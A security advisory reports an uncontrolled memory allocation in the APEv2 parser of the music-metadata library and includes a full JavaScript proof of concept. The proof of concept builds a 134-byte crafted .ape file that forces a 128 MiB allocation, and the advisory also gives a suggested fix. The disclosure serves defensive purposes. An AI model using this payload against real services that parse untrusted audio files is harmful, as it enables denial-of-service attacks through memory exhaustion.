music-metadata: Uncontrolled memory allocation in APEv2 parser

## Summary `music-metadata` 11.15.0 is vulnerable to uncontrolled memory allocation in the APEv2 parser. The parser reads the size of an APEv2 tag item from the input file and uses that value to allocate memory before checking whether the file actually contains that many bytes. A small crafted `.ape` file can declare a very large binary tag item, such as cover art, and force the parser to allocate a large buffer. This issue is specific to APEv2 parsing and is separate from the ID3v2, MP4, and EBML advisories. ## Affected component - `lib/apev2/APEv2Token.ts` - `lib/apev2/APEv2Parser.ts` The untrusted size is read here: ```ts size: Token.UINT32_LE.get(buf, off) ``` It is later used directly for allocation when parsing binary tag items: ```ts const picData = new Uint8Array(tagItemHeader.size); await this.tokenizer.readBuffer(picData); ``` The allocation happens before the parser confirms that the declared size fits inside the remaining file data. ## Impact An application that parses untrusted `.ape` files with `music-metadata` may be vulnerable to denial of service through memory exhaustion. The demonstrated payload is only 134 bytes but causes a 128 MiB allocation with default options. Concurrent or repeated parses can multiply the memory impact. The impact is limited to availability. No confidentiality or integrity impact has been demonstrated. ## Proof of Concept Run from the project checkout after compiling the source: ```bash npm install --ignore-scripts npm run compile-src:dev node --expose-gc poc-apev2-memory.mjs ``` `poc-apev2-memory.mjs`: ```js import { parseBuffer } from './lib/core.js'; const le16 = n => Uint8Array.from([n & 255, n >>> 8]); const le32 = n => Uint8Array.from([n & 255, n >>> 8 & 255, n >>> 16 & 255, n >>> 24]); const cat = (...parts) => { const out = new Uint8Array(parts.reduce((n, p) => n + p.length, 0)); let off = 0; for (const p of parts) out.set(p, off), off += p.length; return out; }; const big = 0x08000000; // 128 MiB const desc = cat( Buffer.from('MAC '), le32(4000), le32(52), le32(24), le32(0), le32(0), le32(0), le32(0), le32(0), new Uint8Array(16) ); const hdr = cat( le16(0), le16(0), le32(1), le32(1), le32(1), le16(16), le16(1), le32(44100) ); const key = Buffer.from('Cover Art (Front)\0', 'ascii'); const item = cat(le32(big), le32(2)); const tag = cat( Buffer.from('APETAGEX'), le32(2000), le32(32 + item.length + key.length + big), le32(1), le32(0), new Uint8Array(8) ); const payload = cat(desc, hdr, tag, item, key); if (global.gc) global.gc(); const before = process.memoryUsage(); try { await parseBuffer(payload, { mimeType: 'audio/ape' }); } catch (error) { console.log(error.constructor.name + ': ' + error.message); } const after = process.memoryUsage(); console.log('input bytes:', payload.byteLength); console.log('arrayBuffers delta MB:', ((after.arrayBuffers - before.arrayBuffers) / 1024 / 1024).toFixed(2)); ``` ## Observed result On `music-metadata` 11.15.0: ```text EndOfStreamError: End-Of-Stream input bytes: 134 arrayBuffers delta MB: 128.00 ``` The parser throws after reaching end-of-stream, but the large allocation has already happened. ## Expected result The parser should reject the malformed APEv2 tag before allocating memory for the declared item size. ## Suggested fix Validate `tagItemHeader.size` before allocation. The parser should reject tag item sizes that exceed the remaining tag/file data or a reasonable maximum size. Binary items should not allocate `tagItemHeader.size` until the size has been checked.

Source published

8 Oct 2026 19:43:22 UTC

Source modified

8 Oct 2026 20:00:06 UTC

Observed here

24 Oct 2026 13:17:17 UTC

Source terms

GitHub Advisory Database · CC-BY-4.0

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This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · GitHub Advisory Database · CC-BY-4.0. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS_V3 · CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

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